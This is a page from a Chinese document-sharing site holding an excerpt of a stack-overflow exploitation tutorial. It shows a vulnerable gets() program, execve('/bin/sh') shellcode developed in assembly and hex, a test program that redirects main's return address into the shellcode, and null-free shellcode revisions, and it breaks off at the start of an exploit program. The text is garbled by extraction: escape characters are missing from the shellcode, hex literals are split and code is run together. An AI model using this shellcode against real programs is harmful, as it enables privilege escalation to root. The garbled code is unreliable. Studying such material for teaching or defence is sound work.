堆栈溢出技术从入门到精通.doc
《堆栈溢出技术从入门到精通.doc》由会员分享,可在线阅读,更多相关《堆栈溢出技术从入门到精通.doc(76页珍藏版)》请在咨信网上搜索。
1、堆栈溢出技术从入门到精通 本讲的预备知识:一方面你应当了解 intel 汇编语言,熟悉寄存器的组成和功能。你必须有堆栈和存储分派方面 的基础知识,有关这方面的计算机书籍很多,我将只是简朴阐述原理,着重在应用。另一方面,你应当了解 linux,本讲中我们的例子将在 linux 上开发。1:一方面复习一下基础知识。从物理上讲,堆栈是就是一段连续分派的内存空间。在一个程序中,会声明各种变量。静态 全局变量是位于数据段并且在程序开始运营的时候被加载。而程序的动态的局部变量则分派 在堆栈里面。从操作上来讲,堆栈是一个先入后出的队列。他的生长方向与内存的生长方向正好相反。我 们规定内存的生长方向为向上,则
2、栈的生长方向为向下。压栈的操作 pushESP4,出栈的 操作是 pop=ESP+4.换句话说,堆栈中老的值,其内存地址,反而比新的值要大。请牢牢记住这一点,由于这是堆栈溢出的基本理论依据。在一次函数调用中,堆栈中将被依次压入:参数,返回地址,EBP。假如函数有局部变量,接下来,就在堆栈中开辟相应的空间以构造变量。函数执行结束,这些局部变量的内容将被 丢失。但是不被清除。在函数返回的时候,弹出 EBP,恢复堆栈到函数调用的地址,弹出返回 地址到 EIP 以继续执行程序。在 C 语言程序中,参数的压栈顺序是反向的。比如 func(a,b,c)。在参数入栈的时候,是:先压 c,再压 b,最后 a.
3、在取参数的时候,由于栈的先入后出,先取栈顶的 a,再取 b,最后取c。(PS:假如你看不懂上面这段概述,请你去看以看关于堆栈的书籍,一般的汇编语言书籍都 会具体的讨论堆栈,必须弄懂它,你才干进行下面的学习)2:好了,继续,让我们来看一看什么是堆栈溢出。2.1:运营时的堆栈分派 堆栈溢出就是不顾堆栈中分派的局部数据块大小,向该数据块写入了过多的数据,导致数据 越界。结果覆盖了老的堆栈数据。比如有下面一段程序:程序一:#include int main()char name8;printf(Please type your name:);gets(name);printf(Hello,%s!,na
4、me);return 0;编译并且执行,我们输入 ipxodi,就会输出 Hello,ipxodi!。程序运营中,堆栈是怎么操作的呢?在 main 函数开始运营的时候,堆栈里面将被依次放入返回地址,EBP。我们用 gcc-S 来获得汇编语言输出,可以看到 main 函数的开头部分相应如下语句:pushl%ebp movl%esp,%ebp subl$8,%esp 一方面他把 EBP 保存下来,然后 EBP 等于现在的 ESP,这样 EBP 就可以用来访问本函数的 局部变量。之后 ESP 减 8,就是堆栈向上增长 8 个字节,用来存放 name数组。现在堆栈 的布局如下:内存底部 内存顶部 na
5、me EBP ret -&name 栈顶部 堆栈底部 执行完 gets(name)之后,堆栈如下:内存底部 内存顶部 name EBP ret -ipxodi0&name 栈顶部 堆栈底部 最后,main 返回,弹出 ret 里的地址,赋值给 EIP,CPU 继续执行 EIP 所指向的指令。2.2:堆栈溢出 好,看起来一切顺利。我们再执行一次,输入 ipxodiAAAAAAAAAAAAAAA,执行完 gets(name)之后,堆栈如下:内存底部 内存顶部 name EBP ret -ipxodiAAAAAAAAAA.&name 栈顶部 堆栈底部 由于我们输入的 name 字符串太长,name
6、数组容纳不下,只好向内存顶部继续写 A。由于堆栈的生长方向与内存的生长方向相反,这些A覆盖了堆栈的 老的元素。如图 我们可以发现,EBP,ret 都已经被A覆盖了。在 main 返回的时候,就会把 AAAA的 ASCII 码:0 x41414141 作为返回地址,CPU 会试图执行 0 x41414141 处 的指令,结果出现错误。这就是一次堆栈溢出。3:如何运用堆栈溢出 我们已经制造了一次堆栈溢出。其原理可以概括为:由于字符串解决函数 (gets,strcpy 等等)没有对数组越界加以监视和限制,我们运用字符数组写 越界,覆盖堆栈中的老元素的值,就可以修改返回地址。在上面的例子中,这导致 C
7、PU 去访问一个不存在的指令,结果犯错。事实上,当堆栈溢出的时候,我们已经完全的控制了这个程序下一步的动作。假如我们用一个实际存在指令地址来覆盖这个返回地址,CPU 就会转而执行我 们的指令。在 UINX 系统中,我们的指令可以执行一个 shell,这个 shell 将获得和被我们堆 栈溢出的程序相同的权限。假如这个程序是 setuid 的,那么我们就可以获得 root shell。下一讲将叙述如何书写一个 shell code。-如何书写一个 shell code 一:shellcode 基本算法分析 在程序中,执行一个 shell 的程序是这样写的:shellcode.c -#includ
8、e void main()char*name2;name0=/bin/sh name1=NULL;execve(name0,name,NULL);-execve 函数将执行一个程序。他需要程序的名字地址作为第一个参数。一个内容为 该程序的 argvi(argvn-1=0)的指针数组作为第二个参数,以及(char*)0 作为 第三个参数。我们来看以看 execve 的汇编代码:nkl10$Content$nbsp;gcc-o shellcode-static shellcode.c nkl10$Content$nbsp;gdb shellcode (gdb)disassemble _execve
9、 Dump of assembler code for function _execve:0 x80002bc:pushl%ebp;0 x80002bd:movl%esp,%ebp ;上面是函数头。0 x80002bf:pushl%ebx ;保存 ebx 0 x80002c0:movl$0 xb,%eax ;eax=0 xb,eax 指明第几号系统调用。0 x80002c5:movl 0 x8(%ebp),%ebx ;ebp+8 是第一个参数/bin/sh0 0 x80002c8:movl 0 xc(%ebp),%ecx ;ebp+12 是第二个参数 name 数组的地址 0 x80002cb
10、:movl 0 x10(%ebp),%edx ;ebp+16 是第三个参数空指针的地址。;name2-1内容为 NULL,用来存放返回值。0 x80002ce:int$0 x80 ;执行 0 xb 号系统调用(execve)0 x80002d0:movl%eax,%edx ;下面是返回值的解决就没有用了。0 x80002d2:testl%edx,%edx 0 x80002d4:jnl 0 x80002e6 0 x80002d6:negl%edx 0 x80002d8:pushl%edx 0 x80002d9:call 0 x8001a34 0 x80002de:popl%edx 0 x8000
11、2df:movl%edx,(%eax)0 x80002e1:movl$0 xffffffff,%eax 0 x80002e6:popl%ebx 0 x80002e7:movl%ebp,%esp 0 x80002e9:popl%ebp 0 x80002ea:ret 0 x80002eb:nop End of assembler dump.通过以上的分析,可以得到如下的精简指令算法:movl$execve 的系统调用号,%eax movl bin/sh0的地址,%ebx movl name 数组的地址,%ecx movl namen-1的地址,%edx int$0 x80;执行系统调用(execv
12、e)当 execve 执行成功后,程序 shellcode 就会退出,/bin/sh 将作为子进程继续执行。可是,假如我们的 execve 执行失败,(比如没有/bin/sh 这个文献),CPU 就会继续 执行后续的指令,结果不知道跑到哪里去了。所以必须再执行一个 exit()系统调 用,结束 shellcode.c 的执行。我们来看以看 exit(0)的汇编代码:(gdb)disassemble _exit Dump of assembler code for function _exit:0 x800034c:pushl%ebp 0 x800034d:movl%esp,%ebp 0 x80
13、0034f:pushl%ebx 0 x8000350:movl$0 x1,%eax;1 号系统调用 0 x8000355:movl 0 x8(%ebp),%ebx;ebx 为参数 0 0 x8000358:int$0 x80;引发系统调用 0 x800035a:movl 0 xfffffffc(%ebp),%ebx 0 x800035d:movl%ebp,%esp 0 x800035f:popl%ebp 0 x8000360:ret 0 x8000361:nop 0 x8000362:nop 0 x8000363:nop End of assembler dump.看来 exit(0)的汇编代
14、码更加简朴:movl$0 x1,%eax;1 号系统调用 movl 0,%ebx;ebx 为 exit 的参数 0 int$0 x80;引发系统调用 那么总结一下,合成的汇编代码为:movl$execve 的系统调用号,%eax movl bin/sh0的地址,%ebx movl name 数组的地址,%ecx movl namen-1的地址,%edx int$0 x80;执行系统调用(execve)movl$0 x1,%eax;1 号系统调用 movl 0,%ebx;ebx 为 exit 的参数 0 int$0 x80;执行系统调用(exit)-二:实现一个 shellcode 好,我们来实
15、现这个算法。一方面我们必须有一个字符串“/bin/sh”,还得有一个 name 数组。我们可以构造它们出来,可是,在 shellcode 中如何知道它们的地址呢?每一次 程序都是动态加载,字符串和 name 数组的地址都不是固定的。通过 JMP 和 call 的结合,黑客们巧妙的解决了这个问题。-jmp call 的偏移地址#2 bytes popl%esi#1 byte/popl 出来的是 string 的地址。movl%esi,array-offset(%esi)#3 bytes/在 string+8 处构造 name 数组,/name0放 string 的地址 movb$0 x0,nul
16、lbyteoffset(%esi)#4 bytes/string+7 处放 0 作为 string 的结 尾。movl$0 x0,null-offset(%esi)#7 bytes/name1放 0。movl$0 xb,%eax#5 bytes/eax=0 xb 是 execve 的 syscall 代码 。movl%esi,%ebx#2 bytes/ebx=string 的地址 leal array-offset,(%esi),%ecx#3 bytes/ecx=name 数组的开始地址 leal null-offset(%esi),%edx#3 bytes/edx=name1的地址 int$
17、0 x80#2 bytes/int 0 x80 是 sys call movl$0 x1,%eax#5 bytes/eax=0 x1 是 exit 的 syscall 代码 movl$0 x0,%ebx#5 bytes/ebx=0 是 exit 的返回值 int$0 x80#2 bytes/int 0 x80 是 sys call call popl 的偏移地址#5 bytes/这里放 call,string 的地址就会 作 /为返回地址压栈。/bin/sh 字符串 -一方面使用 JMP 相对地址来跳转到 call,执行完 call 指令,字符串/bin/sh 的地址将作为 call 的返回地
18、址压入堆栈。现在来到 popl esi,把刚刚压入栈中的字符串地址取出来,就获得了字符串的真实地址。然后,在字符串的第 8 个字节赋 0,作为串的结尾。后面 8 个字节,构造 name 数组(两个整数,八个字节)。我们可以写 shellcode 了。先写出汇编源程序。shellcodeasm.c -void main()_asm_(jmp 0 x2a#3 bytes popl%esi#1 byte movl%esi,0 x8(%esi)#3 bytes movb$0 x0,0 x7(%esi)#4 bytes movl$0 x0,0 xc(%esi)#7 bytes movl$0 xb,%ea
19、x#5 bytes movl%esi,%ebx#2 bytes leal 0 x8(%esi),%ecx#3 bytes leal 0 xc(%esi),%edx#3 bytes int$0 x80#2 bytes movl$0 x1,%eax#5 bytes movl$0 x0,%ebx#5 bytes int$0 x80#2 bytes call-0 x2f#5 bytes .string/bin/sh#8 bytes );-编译后,用 gdb 的 b/bx 地址命令可以得到十六进制的表达。下面,写出测试程序如下:(注意,这个 test 程序是测试 shellcode 的基本程序)test
20、.c -char shellcode=xebx2ax5ex89x76x08xc6x46x07x00 xc7x46x0cx00 x00 x00 x00 xb8x0bx00 x00 x00 x89xf3x8dx4ex08x8dx56x0cxcdx80 xb8x01x00 x00 x00 xbbx00 x00 x00 x00 xcdx80 xe8xd1xffxff xffx2fx62x69x6ex2fx73x68x00 x89xecx5dxc3 void main()int*ret;ret=(int*)&ret+2;/ret 等于 main()的返回地址 /(2 是由于:有 pushl ebp,否则
21、加 1 就可以了。)(*ret)=(int)shellcode;/修改 main()的返回地址为 shellcode 的开始地 址。-nkl10$Content$nbsp;gcc-o test test.c nkl10$Content$nbsp;./test$Content$nbsp;exit nkl10$Content$nbsp;-我们通过一个 shellcode 数组来存放 shellcode,当我们把程序(test.c)的返回地址 ret 设立成 shellcode 数组的开始地址时,程序在返回的时候就会去执行我们的 shellcode,从而我们得到了一个 shell。运营结果,得到了
22、bsh 的提醒符$,表白成功的开了一个 shell。这里有必要解释的是,我们把 shellcode 作为一个全局变量开在了数据段而不是作为 一段代码。是由于在操作系统中,程序代码段的内容是具有只读属性的。不能修改。而我们的代码中 movl%esi,0 x8(%esi)等语句都修改了代码的一部分,所以不能放在 代码段。这个 shellcode 可以了吗?很遗憾,还差了一点。大家回想一下,在堆栈溢出中,关 键在于字符串数组的写越界。但是,gets,strcpy 等字符串函数在解决字符串的时候,以0 为字符串结尾。遇0 就结束了写操作。而我们的 shellcode 串中有大量的0 字符。因此,对于
23、gets(name)来说,上面的 shellcode 是不可行的。我们的 shellcode 是不能有0 字符 出现的。因此,有些指令需要修改一下:旧的指令 新的指令 -movb$0 x0,0 x7(%esi)xorl%eax,%eax molv$0 x0,0 xc(%esi)movb%eax,0 x7(%esi)movl%eax,0 xc(%esi)-movl$0 xb,%eax movb$0 xb,%al -movl$0 x1,%eax xorl%ebx,%ebx movl$0 x0,%ebx movl%ebx,%eax inc%eax -最后的 shellcode 为:-char she
24、llcode=00 xebx1f/*jmp 0 x1f*/02 x5e/*popl%esi*/03 x89x76x08/*movl%esi,0 x8(%esi)*/06 x31xc0/*xorl%eax,%eax*/08 x88x46x07/*movb%eax,0 x7(%esi)*/0b x89x46x0c/*movl%eax,0 xc(%esi)*/0e xb0 x0b/*movb$0 xb,%al*/10 x89xf3/*movl%esi,%ebx*/12 x8dx4ex08/*leal 0 x8(%esi),%ecx*/15 x8dx56x0c/*leal 0 xc(%esi),%ed
25、x*/18 xcdx80/*int$0 x80*/1a x31xdb/*xorl%ebx,%ebx*/1c x89xd8/*movl%ebx,%eax*/1e x40/*inc%eax*/1f xcdx80/*int$0 x80*/21 xe8xdcxffxffxff/*call-0 x24*/26/bin/sh/*.string/bin/sh*/-三:运用堆栈溢出获得 shell 好了,现在我们已经制造了一次堆栈溢出,写好了一个 shellcode。准备工作都已经作完,我们把两者结合起来,就写出一个运用堆栈溢出获得 shell 的程序。overflow1.c -char shellcode=
- 配套讲稿:
如PPT文件的首页显示word图标,表示该PPT已包含配套word讲稿。双击word图标可打开word文档。
- 特殊限制:
部分文档作品中含有的国旗、国徽等图片,仅作为作品整体效果示例展示,禁止商用。设计者仅对作品中独创性部分享有著作权。
- 关 键 词:
- 堆栈 溢出 技术 入门 精通
1、咨信平台为文档C2C交易模式,即用户上传的文档直接被用户下载,收益归上传人(含作者)所有;本站仅是提供信息存储空间和展示预览,仅对用户上传内容的表现方式做保护处理,对上载内容不做任何修改或编辑。所展示的作品文档包括内容和图片全部来源于网络用户和作者上传投稿,我们不确定上传用户享有完全著作权,根据《信息网络传播权保护条例》,如果侵犯了您的版权、权益或隐私,请联系我们,核实后会尽快下架及时删除,并可随时和客服了解处理情况,尊重保护知识产权我们共同努力。
2、文档的总页数、文档格式和文档大小以系统显示为准(内容中显示的页数不一定正确),网站客服只以系统显示的页数、文件格式、文档大小作为仲裁依据,个别因单元格分列造成显示页码不一将协商解决,平台无法对文档的真实性、完整性、权威性、准确性、专业性及其观点立场做任何保证或承诺,下载前须认真查看,确认无误后再购买,务必慎重购买;若有违法违纪将进行移交司法处理,若涉侵权平台将进行基本处罚并下架。
3、本站所有内容均由用户上传,付费前请自行鉴别,如您付费,意味着您已接受本站规则且自行承担风险,本站不进行额外附加服务,虚拟产品一经售出概不退款(未进行购买下载可退充值款),文档一经付费(服务费)、不意味着购买了该文档的版权,仅供个人/单位学习、研究之用,不得用于商业用途,未经授权,严禁复制、发行、汇编、翻译或者网络传播等,侵权必究。
4、如你看到网页展示的文档有www.zixin.com.cn水印,是因预览和防盗链等技术需要对页面进行转换压缩成图而已,我们并不对上传的文档进行任何编辑或修改,文档下载后都不会有水印标识(原文档上传前个别存留的除外),下载后原文更清晰;试题试卷类文档,如果标题没有明确说明有答案则都视为没有答案,请知晓;PPT和DOC文档可被视为“模板”,允许上传人保留章节、目录结构的情况下删减部份的内容;PDF文档不管是原文档转换或图片扫描而得,本站不作要求视为允许,下载前自行私信或留言给上传者【人****来】。
5、本文档所展示的图片、画像、字体、音乐的版权可能需版权方额外授权,请谨慎使用;网站提供的党政主题相关内容(国旗、国徽、党徽--等)目的在于配合国家政策宣传,仅限个人学习分享使用,禁止用于任何广告和商用目的。
6、文档遇到问题,请及时私信或留言给本站上传会员【人****来】,需本站解决可联系【 微信客服】、【 QQ客服】,若有其他问题请点击或扫码反馈【 服务填表】;文档侵犯商业秘密、侵犯著作权、侵犯人身权等,请点击“【 版权申诉】”(推荐),意见反馈和侵权处理邮箱:1219186828@qq.com;也可以拔打客服电话:4008-655-100;投诉/维权电话:4009-655-100。